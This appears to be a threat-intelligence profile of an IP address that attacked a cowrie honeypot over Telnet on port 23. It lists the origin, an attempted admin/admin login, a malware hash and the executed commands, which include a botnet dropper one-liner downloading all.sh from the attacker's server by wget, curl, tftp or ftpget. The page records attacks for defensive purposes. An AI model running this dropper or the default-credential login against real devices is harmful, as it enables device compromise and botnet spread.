⚠TROYANOSYVIRUS
Active Threat • LOW

165.22.135.80

Country of Origin🇺🇸 United States
First Detection1/20/2026
Last Activity1/20/2026
ISPDIGITALOCEAN-ASN
🎯
7
Total Attacks
🔌
1
Ports
📡
1
Attack Types
🦠
1
Malware

Geolocation

Country
🇺🇸 United States
City
Santa Clara
ASN
AS14061
ISP
DIGITALOCEAN-ASN

Attack Types

cowrie

Attacked Ports

23

Associated Malware

047ddb6c90acc4bf08ba...→

Attempted Credentials

🔐admin/admin
1x

Executed Commands

$uname -m1x
$cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;wget http://165.22.135.80/all.sh || curl -O http://165.22.135.80/all.sh || busybox wget http://165.22.135.80/all.sh || busybox tftp 165.22.135.80 -c get all.sh || busybox tftp -r all.sh -g 165.22.135.80 -l all.sh || busybox ftpget -v -u anonymous -p anonymous -P 21 165.22.135.80 all.sh all.sh || tftp 165.22.135.80 -c get all.sh || tftp -r all.sh -g 165.22.135.80 -l all.sh || ftpget -v -u anonymous -p anonymous -P 21 165.22.135.80 all.sh all.s1x

Risk Assessment

20
/100
LowMediumHighCritical